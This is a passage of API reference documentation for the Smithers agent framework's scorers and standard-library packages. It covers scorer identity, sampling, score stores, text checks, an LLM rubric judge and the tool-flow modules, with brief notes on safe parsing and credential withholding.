[write a provider](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/guides/write-a-provider.md),
[prove a provider](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/guides/prove-a-provider.md), and
[test against a scripted machine](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/guides/testing.md). The model behind them
is in [the two provider seams](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/concepts/seams.md),
[sessions and their keys](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/concepts/sessions.md),
[what a sandbox does and does not prevent](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/concepts/isolation.md), and
[how a remote command differs from a local one](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/concepts/remote-commands.md).

[`@smthrs/kernel`](/docs/reference/api/kernel/) renders the command line a provider receives, and its `proc:spawn` capability check is written against that same string. [`@smthrs/run-store`](/docs/reference/api/run-store/) tracks whether a run's engine is still alive, which is a different question from whether its sandbox is. See also [Capabilities and the host kernel](/docs/concepts/kernel/) and [Retries and interruption](/docs/concepts/retries/).

---

# @smthrs/scorers
https://smithers.sh/docs/reference/api/scorers/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/scorers/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/scorers/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/scorers/docs)

> **Related APIs:** [`@smthrs/core`](/docs/reference/api/core/) · [`@smthrs/database`](/docs/reference/api/database/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/sandbox`](/docs/reference/api/sandbox/)

`@smthrs/scorers` declares scorers, attaches them to target flows, decides
replay-stable sampling, and persists the resulting observations. It does not
decide what to score or when: [`@smthrs/evals`](/docs/reference/api/evals/) does that.

The root entry point re-exports every module as a namespace. Each module named
in the export map is also importable directly as `@smthrs/scorers/<Module>`.
The `internal/*`, `migrations/*`, and nested `*/index` subpaths are blocked and
the map lists no `Migrations` subpath, so the four migrations are reachable
only through the root `Migrations` namespace. For the import forms, see
[Installation](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/scorers/docs/installation.md#import-forms).

Every export is listed once in the contract table at the end of this page,
and once with its kind and a one-line summary in
[Exported members](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/scorers/docs/exports.md).

```typescript
import { Scorer, ScoreStore, Scoring, SqlScoreStore } from "@smthrs/scorers"
import { Effect } from "effect"

const quality = Scorer.make({
  id: "my-package/scorers/quality",
  version: "1",
  name: "quality",
  score: ({ output }) => Effect.succeed({ score: output === "expected" ? 1 : 0 })
})

const program = Effect.gen(function*() {
  return yield* Scoring.runBatch([{
    identity: Scoring.jobIdentity(["run-1", "step-7", quality.scorerKey]),
    observation: { targetStepKey: "step-7", scorerKey: quality.scorerKey },
    score: quality.score({ input: "ask", output: "expected" }),
    at: Date.now()
  }])
})

// Await program inside a durable action; see the complete quickstart.
```

For a runnable composition including the database layers, see the
[Quickstart](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/scorers/docs/quickstart.md).

## ScoreGate

`ScoreGate` is the pure grading contract shared by runtime evaluations and the
`@smthrs/testing/ScoreGate` facade. Import it from `@smthrs/scorers/ScoreGate`
or the root `ScoreGate` namespace. It needs only Effect, with no store, runner,
or test framework. [Grade fixed samples](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/scorers/docs/guides/grade-fixed-samples.md)
documents every member, verdict rule, and error field. The fixed-suite test
runner remains in testing.

## A scorer is a declaration, not a flow body

`Scorer.make` returns a flow value carrying `Input` and `Result` as its declared
schemas, plus `score` and `scorerKey`. `score` is the only implementation:
`MakeOptions` omits `input`, `output`, `body`, `model`, and `flows`, so a scorer
cannot declare two implementations that disagree, and calling the flow itself
raises `FlowError{code: "missing_body"}` as any body-less flow does. `make`
rejects `body` and the dynamic-body options `model` and `flows` at construction,
including options whose value is `undefined`.

`scorerKey` is `sha256(canonical({id, version, config}))`, 64 lowercase hex
characters, and it is the durable identity written into every stored
observation. The `score` closure does not participate, so refactoring an
implementation leaves stored observations attributable. For what that identity
covers, see [Scorer identity](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/scorers/docs/concepts/scorer-identity.md).

`make` is a plan-time constructor and it throws. Every throw is a `ScorerError`
with code `invalid_declaration`:

- a non-string or blank `id` or `version`, named individually;
- a `body`, `model`, or `flows` option, even if `undefined`;
- a `config` carrying a member canonical JSON would drop (a function, a
  symbol, an `undefined` member, a symbol-keyed property, a cycle, or a
  non-finite number), or a non-enumerable own property, reported as a path and
  never as the value;
- a `config` nested more than 1,000 levels, reported at the bounded path;
- a `config` defining `toJSON`, including a `Date`, reported at its path;
- a `config` the canonical encoder refuses outright: a `Map`, a `Set`, a class
  instance, a typed array, or a `RegExp`.

Canonical JSON hashes the value returned by `toJSON`, so anything that
replacement loses is absent from the durable identity. Refusal is the only
decidable answer: inspecting the replacement would execute caller code a
second time with no promise that both calls agree.

The dropped-member rule exists because `scorerKey` is
`sha256(canonical({id, version, config}))` and canonical JSON mirrors
`JSON.stringify`. Without it, `{rubric: fn}` and `{}` would be one scorer
forever in the store.

`Scorer.Input` carries `input`, `output`, and the optional `groundTruth`,
`context`, and `latencyMs`. `Scorer.Result` carries a finite `score` in the
inclusive `[0, 1]` range plus an optional `reason` and `meta`.
`Scorer.validate` decodes a result against that contract and fails with
`invalid_score`, naming the offending score without retaining the whole result.

## Sampling

`Sampling` is `"all"`, `"none"`, or `{ratio, seed}` with `ratio` in the **open**
interval `(0, 1)` and a non-empty `seed`. Sample everything with `"all"` and
nothing with `"none"`; `0` and `1` are rejected, so each intent has one
spelling. The bound is in the schema, so an unusable policy cannot be
constructed and carried into a run.

`decide(sampling, targetStepKey, scorerKey)` is deterministic across processes
and replays. The material is length-prefixed and the FNV-1a hash runs over
UTF-8 bytes. Both rules are load-bearing, and golden vectors freeze them:
hashing UTF-16 code units collapsed every astral character in a
1024-code-point block onto one value, and joining components with `":"` gave
`("a:b", "c", "d")` and `("a", "b:c", "d")` one decision.
Changing either moves every sampling decision already taken downstream.

## Bindings

`Binding.make` attaches a scorer to a target flow with an optional
`groundTruth`, an optional `context`, and a sampling policy that defaults to
`"all"`. The target value is retained unchanged, so binding never alters its
step key. Nothing in this package calls `Sampling.decide` on a binding's
behalf; a host does, once per candidate step.

A binding is the error boundary: `Binding.scorer` is `Scorer<unknown>`, so a
scorer declared with its own typed failure binds without a cast and one list
holds scorers that fail in unrelated ways. Nothing is lost by erasing the type
here, because a binding never runs its scorer and the runner already accepts an
unknown scorer failure, recording it as an inconclusive observation.

## Failures

`ScorerError.code` is stable and its `cause` is preserved. No failure retains
the whole input; a schema issue names the offending path and a bound names the
offending field.

| Code                  | Raised by                                                                               |
| --------------------- | --------------------------------------------------------------------------------------- |
| `invalid_declaration` | `Scorer.make`, thrown at plan time.                                                     |
| `invalid_score`       | `Scorer.validate`, for a result outside the result contract.                            |
| `invalid_sampling`    | `Sampling.decide`, for a policy outside the vocabulary.                                 |
| `invalid_observation` | `ScoreStore.record` / `recordOnce`, for an observation it refuses to store.             |
| `invalid_request`     | A blank or oversized job identity, or a page bound out of range.                        |
| `inconclusive`        | Carried on an inconclusive observation whose scorer neither scored nor was interrupted. |
| `constraint`          | A database refusal that retrying cannot fix.                                            |
| `store`               | Any other persistence failure, including transient ones.                                |

Each code's symptom and fix is in [Troubleshooting](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/scorers/docs/troubleshooting.md).

## Scoring in durable actions

`Scoring.runBatchCorrelated(jobs, options?)` executes and records every job
in the calling fiber, returning an `Outcome` per job in input order. Outcomes
carry the identity, observation, and `recorded`: `persisted`, `duplicate`, or
`failed`. `Scoring.runBatch` returns only the observations.

The caller awaits scoring inside its own `@smthrs/flow` action. Its persisted
payload contains stable inputs and job identities; reconstruct score Effects
from those inputs when the action executes. Effects are not journal payloads.
The engine owns retries, deadlines, admission and crash recovery. There is no
background submission API, private queue, worker loop, or runner layer.

Scorer failures become inconclusive observations. Interruption propagates so
an interrupted action can resume. Store failures are logged with identity,
target and scorer annotations and reported as `recorded: "failed"`; use the
correlated API and fail the enclosing action when a failed write must retry.
A duplicate suppresses the insert; its returned observation describes this
attempt, not necessarily the previously persisted observation.

`concurrency` defaults to 1. Values other than positive safe integers use 1.
`ScoreStore.layerNoop` disables persistence while still executing scorers.

## Stores

`ScoreStore.Service` has five methods. `record` appends an observation.
`recordOnce(identity, observation)` claims the identity and appends in one
transaction. `observations(targetStepKey, scorerKey?, page?)` reads a bounded
page ordered by `(at, insertion)`. `aggregate(targetStepKey, scorerKey?)`
reports `{count, mean, min, inconclusive}` over that target, or `undefined`
when it has no observations of either kind.
`prune({ olderThan })` deletes observations whose `at`, and job claims whose
creation time, is older than the cutoff and answers `{ observations, jobs }`.
Nothing else deletes from the store, so a host that scores live runs should
call it on a schedule. A pruned claim no longer suppresses a duplicate, so
prune only past the oldest job the host may still replay.

Four documented bounds govern the write and read paths, each exported as a
constant: an observation `reason` is at most `maxReasonBytes` (1,024) UTF-8
bytes, encoded `meta` at most `maxMetadataBytes` (65,536), a job identity at
most `maxIdentityBytes` (512), and an observation page at most
`maxObservations` (1,000) rows, which is also its default.

`SqlScoreStore.layer` implements the service over the SQL client and durable
writer from [`@smthrs/database`](/docs/reference/api/database/), and applies this package's
four migrations when it is built. What it guarantees across a restart is in
[Durability](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/scorers/docs/durability.md).

## Snapshotting

Three handoffs decide what a later mutation can still change, and each one has
one answer.

Batch functions copy each job's scalar fields and observation keys when that
job starts. Keep inputs and score captures stable until execution finishes.

`record` and `recordOnce` copy and fully encode an observation when they are
_called_, not when the Effect they return is run. Building `record(observation)`, mutating the
object, and then running the Effect stores the observation as it stood at the
call.

`Binding` does **not** copy `context` or `groundTruth`. It is the one deliberate
exception: a ground truth is frequently a value with no JSON representation, and
refusing those at binding time would be the larger break. The reasoning is on
the `Binding` interface's own JSDoc. Pass values that do not change, or copy
before binding.

## Job identity

`recordOnce(identity, observation)` claims `identity` in
`flows_score_jobs` and writes the observation in the same transaction, so a
retried job records once. The identity must be non-empty, at most
`maxIdentityBytes` UTF-8 bytes, and stable across a restart. Build it with
`Scoring.jobIdentity([...parts])`, which length-prefixes each component: joining
parts with a delimiter lets two different tuples produce one identity, and one
shared identity drops every observation after the first.
The claim must report exactly zero or one affected row. Zero is a duplicate;
one proceeds to the observation insert; any other driver result fails and rolls
the transaction back.

## Migrations

`Migrations.run` applies all four score-store migrations against the provided
SQL client, recording them in this package's own ledger table
`flows_scorers_migrations`. `Migrations.layer` applies them when the layer is
constructed. `SqlScoreStore.make` already runs them, so a composition that
builds the store needs neither.

## Reference

Every public export, once.

| Export                               | Category     | Summary                                                                           |
| ------------------------------------ | ------------ | --------------------------------------------------------------------------------- |
| `ScorerError.ScorerErrorCode`        | models       | The eight stable failure codes, as a schema and a type.                           |
| `ScorerError.ScorerError`            | errors       | A typed declaration, execution, or persistence failure.                           |
| `Scorer.Input`                       | schemas      | Input supplied to a scorer flow.                                                  |
| `Scorer.Result`                      | schemas      | Successful scorer output, carrying the inclusive `[0, 1]` score bound.            |
| `Scorer.Scorer`                      | models       | A declaration-only flow with an independent durable identity.                     |
| `Scorer.MakeOptions`                 | models       | Options for `Scorer.make`, minus `input`, `output`, `body`, `model`, and `flows`. |
| `Scorer.make`                        | constructors | Declares a scorer and derives its `scorerKey`. Throws at plan time.               |
| `Scorer.validate`                    | validation   | Decodes a scorer result against `Result`.                                         |
| `Binding.Binding`                    | models       | A `Scorer<unknown>`, ground truth, context, and sampling attached to a flow.      |
| `Binding.make`                       | constructors | Creates a binding, defaulting to sampling every target step.                      |
| `Sampling.Sampling`                  | schemas      | `"all"`, `"none"`, or a `{ratio, seed}` policy over the open interval `(0, 1)`.   |
| `Sampling.decide`                    | predicates   | Decides a sample from stable target, scorer, and seed material.                   |
| `ScoreStore.maxReasonBytes`          | models       | Maximum stored size of an observation `reason`, in UTF-8 bytes.                   |
| `ScoreStore.maxMetadataBytes`        | models       | Maximum encoded size of an observation `meta`, in UTF-8 bytes.                    |
| `ScoreStore.maxIdentityBytes`        | models       | Maximum size of a `recordOnce` job identity, in UTF-8 bytes.                      |
| `ScoreStore.maxObservations`         | models       | Largest page `observations` returns, and its default.                             |
| `ScoreStore.ObservationBase`         | models       | Fields shared by successful and inconclusive observations.                        |
| `ScoreStore.ScoreObservation`        | models       | A successful score retained by the store.                                         |
| `ScoreStore.InconclusiveObservation` | models       | A scorer failure retained without failing its target.                             |
| `ScoreStore.Observation`             | schemas      | The durable observation contract, as a runtime schema and a type.                 |
| `ScoreStore.Aggregate`               | models       | Count, mean, and minimum over successful scores, plus the inconclusive count.     |
| `ScoreStore.Page`                    | models       | Page bounds for `observations`: `limit`, `offset`, and the `before` filter.       |
| `ScoreStore.Service`                 | services     | The durable score store implementation.                                           |
| `ScoreStore.Pruned`                  | models       | Rows one `prune` call removed: `observations` and `jobs`.                         |
| `ScoreStore.ScoreStore`              | services     | Context service for durable scorer observations.                                  |
| `ScoreStore.makeNoop`                | constructors | Constructs an inoperative score store.                                            |
| `ScoreStore.layerNoop`               | layers       | Provides the inoperative score store.                                             |
| `ScoreStore.validate`                | validation   | Decodes an observation against `Observation` before it is persisted.              |
| `SqlScoreStore.make`                 | constructors | Builds the SQL-backed store and applies its migrations.                           |
| `SqlScoreStore.layer`                | layers       | Provides the SQL-backed score store.                                              |
| `Scoring.Job`                        | models       | One scorer execution request and its durable idempotency key.                     |
| `Scoring.BatchOptions`               | models       | Batch execution options.                                                          |
| `Scoring.Recorded`                   | models       | Whether a batch observation was persisted, duplicated, or failed.                 |
| `Scoring.Outcome`                    | models       | A batch observation tagged with its job identity and durable write result.        |
| `Scoring.runBatchCorrelated`         | execution    | Scores and records jobs in the calling fiber, with durable write outcomes.        |
| `Scoring.runBatch`                   | execution    | Returns the batch observations in input order.                                    |
| `Scoring.jobIdentity`                | constructors | Builds a length-prefixed `Job.identity` from its components.                      |
| `Scoring.inconclusive`               | converting   | Converts a scorer failure into a typed inconclusive observation.                  |
| `Migrations.run`                     | migrations   | Applies all score-store migrations.                                               |
| `Migrations.layer`                   | layers       | Applies score-store migrations when the layer is constructed.                     |

### ScoreGate export index

| Export                         | Kind      | Category     | Contract                                                                |
| ------------------------------ | --------- | ------------ | ----------------------------------------------------------------------- |
| `ScoreGate.ScoreGateCode`      | const     | codes        | The five stable grading and misuse codes.                               |
| `ScoreGate.InvalidScoreSample` | const     | codes        | Schema naming a rejected score observation.                             |
| `ScoreGate.ScoreGateError`     | class     | errors       | Typed grading misuse with optional threshold, actual, and samples.      |
| `ScoreGate.ScoreSample`        | type      | models       | One fixed score or inconclusive observation.                            |
| `ScoreGate.Verdict`            | type      | models       | Passed, Failed, or Inconclusive with findings and faults kept separate. |
| `ScoreGate.validateSamples`    | const     | gates        | Reject every non-finite or out-of-range score.                          |
| `ScoreGate.combine`            | const     | grading      | Compose findings and unresolved observations in first-seen order.       |
| `ScoreGate.grade`              | const     | grading      | Map a verdict to exit code 0, 1, or 5 and its full summary.             |
| `ScoreGate.ScoreExpectation`   | interface | constructors | Mean, minimum, and per-case threshold gates.                            |
| `ScoreGate.expectScores`       | const     | constructors | Build gates over caller-owned fixed samples.                            |

## Checks

`Checks` holds pure, synchronous text and action checks. Each returns a
`Check`, `{ id, pass, detail }`, where `detail` names what was found and never
exceeds 200 characters. `all` folds checks into the fraction passing, and
`scorer` declares a scorer whose score is that fraction and whose `meta` is
`{ pass, checks }`.

```typescript
import { Checks } from "@smthrs/scorers"

const style = Checks.scorer({
  id: "my-package/scorers/style",
  version: "1",
  config: { max: 120 },
  checks: ({ output }) => [
    Checks.length(String(output), { max: 120 }),
    Checks.opener(String(output), ["on it", "got it"]),
    Checks.truncated(String(output))
  ]
})
```

Links are read in three forms: Slack `<url|label>` and `<url>`, markdown
links (a bracketed label followed by the URL in parentheses), and bare
`http(s)://` URLs. `words`, `questions`, `barePaths`,
and `linkedReferences` read link labels as prose and skip link URLs.
`includes` and `excludes` match whole words and phrases
case-insensitively, so "No" is not found in "not"; an entry written `renew*`
is a stem whose last word may continue ("renewal"), and one written
`/source/flags` is a regular expression. `leakage` finds a marker anywhere,
case-insensitively, even inside a longer token, so `token=SECRETabc123xyz`
leaks `SECRETabc123`; its detail names the sink and the marker's 1-based
position, never the marker text. `leakage` trims whitespace around each
marker, so a secret read from a file with its trailing newline still matches.
`opener` and `leakage` ignore blank entries. A `/source/flags` entry and a
`linkedReferences` pattern run as given on the backtracking engine, so they
must come from the suite author, never from model output or a payload; the
built-in link, question, and path scans run in linear time on any output. `requiredLinks` ignores
scheme and host case, a trailing slash, and a fragment, and accepts a found URL
that extends the required one with a path or query. `linkedReferences` accepts
`/pull/` for a template containing `/issues/`. `count` defaults to at least one
call when no bound is set.

### Checks export index

| Export                    | Kind      | Category     | Summary                                                                        |
| ------------------------- | --------- | ------------ | ------------------------------------------------------------------------------ |
| `Checks.Check`            | interface | models       | `{ id, pass, detail }`; `detail` names what was found, at most 200 characters. |
| `Checks.Link`             | interface | models       | A found link: `url` and an optional `label`.                                   |
| `Checks.Reference`        | interface | models       | A reference `pattern` and the `url` template, with `$1`, it must link to.      |
| `Checks.Action`           | interface | models       | One recorded tool call: `tool` and `input`.                                    |
| `Checks.CountSpec`        | interface | models       | Tool, `where` field filter, bounds, and id for `count`.                        |
| `Checks.Emission`         | interface | models       | Text written to one named sink.                                                |
| `Checks.Summary`          | interface | models       | Fraction passing, whether all passed, and the failed checks.                   |
| `Checks.ScorerOptions`    | interface | models       | Scorer id, version, name, config, and the checks function.                     |
| `Checks.words`            | const     | measuring    | Counts words, reading link labels and skipping link URLs.                      |
| `Checks.length`           | const     | checks       | Word count within inclusive `min` and `max`.                                   |
| `Checks.includes`         | const     | checks       | Every whole word, phrase, or `/regex/flags` present; an array is any-of.       |
| `Checks.excludes`         | const     | checks       | No forbidden whole word, phrase, or `/regex/flags` match.                      |
| `Checks.opener`           | const     | checks       | The message does not open with a listed phrase.                                |
| `Checks.truncated`        | const     | checks       | No cut-off word, trailing ellipsis, or unclosed code fence.                    |
| `Checks.links`            | const     | extracting   | Slack, markdown, and bare links, deduplicated by URL.                          |
| `Checks.requiredLinks`    | const     | checks       | Every required URL or any-of group linked.                                     |
| `Checks.linkedReferences` | const     | checks       | Every reference in the prose linked to its template URL.                       |
| `Checks.pathExtensions`   | const     | models       | File extensions `barePaths` treats as naming a file.                           |
| `Checks.barePaths`        | const     | checks       | No file-system path outside link syntax.                                       |
| `Checks.questions`        | const     | measuring    | Counts sentences ending in `?`.                                                |
| `Checks.count`            | const     | checks       | Matching tool calls within inclusive bounds.                                   |
| `Checks.leakage`          | const     | checks       | No marker anywhere in any sink; names sink and marker position.                |
| `Checks.all`              | const     | combinators  | Folds checks into a score and a pass flag.                                     |
| `Checks.scorer`           | const     | constructors | Declares a scorer over a list of checks.                                       |

## Rubric

`Rubric` declares an LLM rubric judge as a scorer without a model dependency:
the caller supplies the `Judge`, a function from `{ system, prompt }` to the
reply text. Each criterion is scored 1 to 5 against its `low` and `high`
anchors. The score is `(mean - 1) / 4`, `meta` is the `Verdict`, and `pass`
follows the `Rule`, by default every score at least 3 and the mean at least
3.8.

```typescript
import { Rubric } from "@smthrs/scorers"
import { Effect } from "effect"

const judge: Rubric.Judge<never> = ({ system, prompt }) => Effect.succeed(callYourModel(system, prompt))

const tone = Rubric.make({
  id: "my-package/scorers/tone",
  version: "1",
  criteria: [{ id: "plain", question: "Is it plain language?", low: "Dense jargon", high: "Anyone could follow it" }],
  judge
})
```

`Scorer.Input.input` is the context string or `{ context, focus? }`, and
`output` the text judged. `render` fences each piece of content in a fence
longer than any backtick run inside it. `parse` reads the one JSON object with
`"scores"` in the reply, fenced or not, refuses a reply with two (a judge
quoting a verdict forged in the output), and requires an integer from 1 to 5 for every
criterion. An unparsable reply fails with code `invalid_score`; a rubric with
no criteria or duplicate ids throws `invalid_declaration`. Criteria, examples,
rule, and instructions are the scorer's `config`, so changing the rubric
changes the `scorerKey`. `agreement` measures a judge against human labels.

### Rubric export index

| Export                 | Kind      | Category     | Summary                                                          |
| ---------------------- | --------- | ------------ | ---------------------------------------------------------------- |
| `Rubric.Request`       | interface | models       | One judge request: `system` and `prompt`.                        |
| `Rubric.Judge`         | type      | models       | The caller-supplied model call: a request in, the raw reply out. |
| `Rubric.Criterion`     | interface | models       | A criterion id, question, and the anchors for 1 and 5.           |
| `Rubric.Example`       | interface | models       | A labelled calibration transcript and why it passes or fails.    |
| `Rubric.Judgement`     | interface | models       | Parsed scores per criterion and the judge's reason.              |
| `Rubric.Verdict`       | interface | models       | A judgement and whether it passes the rule.                      |
| `Rubric.Rule`          | interface | models       | `minEach` and `minMean` pass thresholds.                         |
| `Rubric.defaultRule`   | const     | models       | `{ minEach: 3, minMean: 3.8 }`.                                  |
| `Rubric.RenderOptions` | interface | models       | Criteria, examples, context, focus, output, and instructions.    |
| `Rubric.MakeOptions`   | interface | models       | Scorer identity, rubric, rule, instructions, and the judge.      |
| `Rubric.Agreement`     | interface | models       | Judge-versus-human agreement counts and accuracy.                |
| `Rubric.render`        | const     | rendering    | Builds the judge request with fenced, inert content.             |
| `Rubric.parse`         | const     | parsing      | Reads the one scores object of a reply into a `Judgement`.       |
| `Rubric.decide`        | const     | predicates   | Applies a `Rule` to scores.                                      |
| `Rubric.make`          | const     | constructors | Declares a rubric scorer over a caller-supplied judge.           |
| `Rubric.agreement`     | const     | calibration  | Counts judge agreement with human labels.                        |

## Scorers

Import `Scorers` from `@smthrs/scorers`, or the `@smthrs/scorers/Scorers` subpath.
`exact()` compares string `output` and string `groundTruth` after trimming edges
and collapsing whitespace; `contains()` checks case-sensitive containment.
Non-text input is inconclusive. `rubric` is the existing `Rubric.make` contract.

`testsPass({ command, sandbox, timeoutMs? })` runs the declared command through
an already acquired `@smthrs/sandbox` session. It drains both output streams and
waits for the real exit: zero scores 1, every other valid exit scores 0. The
result includes `meta.exitCode`. Launch, transport or timeout failure raises
`ScorerError` with code `inconclusive`; `Scoring` retains it as an inconclusive
observation. The command scope closes on completion, interruption and timeout.
The default timeout is 60,000 ms; a blank command or a nonpositive/noninteger
timeout is an invalid declaration. Command and timeout enter the scorer identity.
The host selects the sandbox; the scorer does not grant filesystem or network access.

`diffSize({ max })` and `touchedFiles({ max })` grade string `output` containing
a complete text unified diff. `diffSize` counts added plus removed hunk lines;
`touchedFiles` counts distinct paths, including deleted files, with repeated
hunks deduplicated. Equality to the cap passes. Both return counts in `reason`
and `meta: { added, removed, files, count, max }`. Empty diffs count zero.
A git file entry with no hunks, such as an empty new file, a rename, a copy,
or a mode change, counts as one touched file and zero lines; its path comes
from `rename to` or `copy to`, or from a `diff --git` header whose two paths
match. Malformed, incomplete, or binary diffs, and git entries whose path
cannot be read, are inconclusive. `max` must be a nonnegative safe integer and
enters the scorer identity.

### Scorers export index

| Export                     | Kind      | Category | Summary                                                                      |
| -------------------------- | --------- | -------- | ---------------------------------------------------------------------------- |
| `Scorers.exact`            | const     | scorers  | Normalized text equality: trims edges and collapses whitespace.              |
| `Scorers.contains`         | const     | scorers  | Case-sensitive containment of ground-truth text.                             |
| `Scorers.rubric`           | const     | scorers  | The existing model-agnostic 1 to 5 rubric scorer.                            |
| `Scorers.TestsPassOptions` | interface | models   | A declared command and already acquired sandbox session.                     |
| `Scorers.testsPass`        | const     | scorers  | Grades sandbox command exit; launch and transport failure stay inconclusive. |
| `Scorers.DiffOptions`      | interface | models   | An inclusive nonnegative diff budget.                                        |
| `Scorers.diffSize`         | const     | scorers  | Added plus removed lines against an inclusive cap.                           |
| `Scorers.touchedFiles`     | const     | scorers  | Distinct file paths against an inclusive cap.                                |

---

# @smthrs/std
https://smithers.sh/docs/reference/api/std/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/std/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/std/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/std/docs)

> **Related APIs:** [`@smthrs/capability`](/docs/reference/api/capability/) · [`@smthrs/control`](/docs/reference/api/control/) · [`@smthrs/core`](/docs/reference/api/core/) · [`@smthrs/kernel`](/docs/reference/api/kernel/) · [`@smthrs/model`](/docs/reference/api/model/)

The package exports 33 modules. Import each one as a namespace from the root
entry point:

```ts
import { Read } from "@smthrs/std"
```

Each module also has its own subpath, `@smthrs/std/<Module>`.
`@smthrs/std/internal/*` and `@smthrs/std/<Module>/index` are not public.

Host child processes receive only `PATH`, `HOME`, `USER`, `LANG`, `LC_*`,
`TERM`, `TMPDIR`, and `SHELL` from the Smithers process, plus names explicitly
declared by the caller. Credential-shaped ambient names are withheld; an
explicit declaration is applied last and therefore opts that name in.

For the input and output fields of each flow, see the
[Flow reference](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/std/docs/reference/flows.md). This page is the module and export
surface.

## Example

```ts
import { NodeServices } from "@effect/platform-node"
import { Read } from "@smthrs/std"

const page = await Effect.runPromise(
  Effect.provide(Read.run({ path: "./README.md", limit: 20 }), NodeServices.layer)
)
console.log(page.content, page.totalLines, page.truncated)
```

## The flow modules

Seventeen modules declare a flow. Every one of them exports the same names:

| Export         | Type                                     | Meaning                                  |
| -------------- | ---------------------------------------- | ---------------------------------------- |
| `name`         | string literal                           | The registry name.                       |
| `description`  | string                                   | The one line the model sees.             |
| `Input`        | `Schema` and the decoded type            | The input schema.                        |
| `Output`       | `Schema` and the decoded type            | The output schema.                       |
| `effects`      | `Effects.Declaration`                    | The declared envelope, before any input. |
| `effectsFor`   | `(input) => Effects.Declaration`         | The envelope narrowed to one input.      |
| `capabilities` | `ReadonlyArray<string>`                  | `action:resource` strings.               |
| `flow`         | `Flow`                                   | The declaration, built by `Flow.make`.   |
| `run`          | `(input) => Effect<Output, StdError, R>` | The handler.                             |

The modules are `ApplyPatch`, `Bash`, `Edit`, `Explore`, `Fetch`, `Glob`,
`Grep`, `HttpPost`, `Ls`, `Lsp`, `Read`, `ShellCommand`, `TestRun`,
`UpdatePlan`, `WebFetch`, `WebSearch`, and `Write`.

Some of them export more than the common nine:

| Module         | Additional exports                                                                          |
| -------------- | ------------------------------------------------------------------------------------------- |
| `Bash`         | `DEFAULT_TIMEOUT_MS`, `elideMiddle(start, droppedBytes, end)`                               |
| `Explore`      | `make(options: { model?: string })`, and no `run`                                           |
| `Grep`         | `ContextLine`, `Symbol`, `Match` schemas                                                    |
| `Read`         | `MAX_READ_FILE_BYTES`, the 64 MiB bound past which `read` refuses a file                    |
| `ShellCommand` | `DEFAULT_TIMEOUT_MS`, `MAX_CAPTURE_BYTES`, `DEFAULT_MAX_OUTPUT_TOKENS`, `TIMEOUT_EXIT_CODE` |
| `TestRun`      | `scratchDirectory`, `DEFAULT_TIMEOUT_MS`, `MAX_CAPTURE_BYTES`, `Outcome`                    |
| `UpdatePlan`   | `StepStatus`, `Plan`                                                                        |
| `WebSearch`    | the `WebSearch` service, `make`, `makeNoop`, `layerNoop`                                    |

A runner declared with `baseline: false` refuses `against: "base"` before
running any process. The native CLI sets this flag until an isolated staging
provider is available ([#3234](https://github.com/smithersai/smithers/issues/3234)). Workspace tests still use the confined runner. Library
hosts that omit the flag keep baseline Git on their caller-provided spawner.
The runner wrapper uses `bash -c` and does not execute host login profiles.

## Manifest

The whole library keyed by registry name. Every registry is frozen.

| Export       | Type                                 | Meaning                                    |
| ------------ | ------------------------------------ | ------------------------------------------ |
| `flows`      | record of name to declaration        | All 17 declarations.                       |
| `handlers`   | record of name to handler            | The 16 that have one; `explore` is absent. |
| `effectsFor` | record of name to narrowing function | All 17, including `explore`.               |
| `names`      | readonly tuple of 17 names           | Registry order.                            |
| `readOnly`   | readonly tuple of 8 names            | The read-only projection.                  |

```ts
import { Manifest } from "@smthrs/std"

Manifest.names // ["read", "write", "edit", "ls", "glob", "grep", "bash", ...]
Manifest.readOnly // ["read", "ls", "glob", "grep", "fetch", "explore", "webfetch", "lsp"]
```

## StdError

The single typed failure every handler uses.

| Export     | Type                                    | Meaning                                                                                                                              |
| ---------- | --------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
| `Code`     | `Schema.Literals` and the matching type | The closed list of failure codes.                                                                                                    |
| `StdError` | `Schema.TaggedError` class              | `{ code, message, path?, base_digest?, current_digest?, method?, rpcError?, stderr?, limitMillis? }`, tagged `@smthrs/std/StdError`. |

```ts
import { StdError } from "@smthrs/std"

const failure = new StdError.StdError({
  code: "not_found",
  message: "File not found: /workspace/missing.ts",
  path: "/workspace/missing.ts"
})
```

The codes are listed in the [Flow reference](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/std/docs/reference/flows.md#failures).

Every service key, error tag, and class identifier in this package is
`@smthrs/std/<Name>`, so `Effect.catchTag("@smthrs/std/StdError", ...)` catches
every handler failure.

## Probe

Telling an invalid probe from a failing check. A non-zero exit is a runner's
verdict about the code it ran, not about the command it was handed.

| Export             | Type                                                                                         | Meaning                                                                                     |
| ------------------ | -------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------- |
| `key`              | `"invalidProbe"`                                                                             | The reserved output key a flow reports one under.                                           |
| `Reason`           | `Schema.Literals` and the matching type                                                      | `unknown-command`, `unknown-test`, `unknown-path`, `unknown-module`, `unknown-environment`. |
| `InvalidProbe`     | `Schema.Struct` and the matching type                                                        | `{ reason, evidence, message }`.                                                            |
| `Attribution`      | `{ to, executed?, invalidProbe? }`                                                           | What one result was attributed to: the tree, or one of the five.                            |
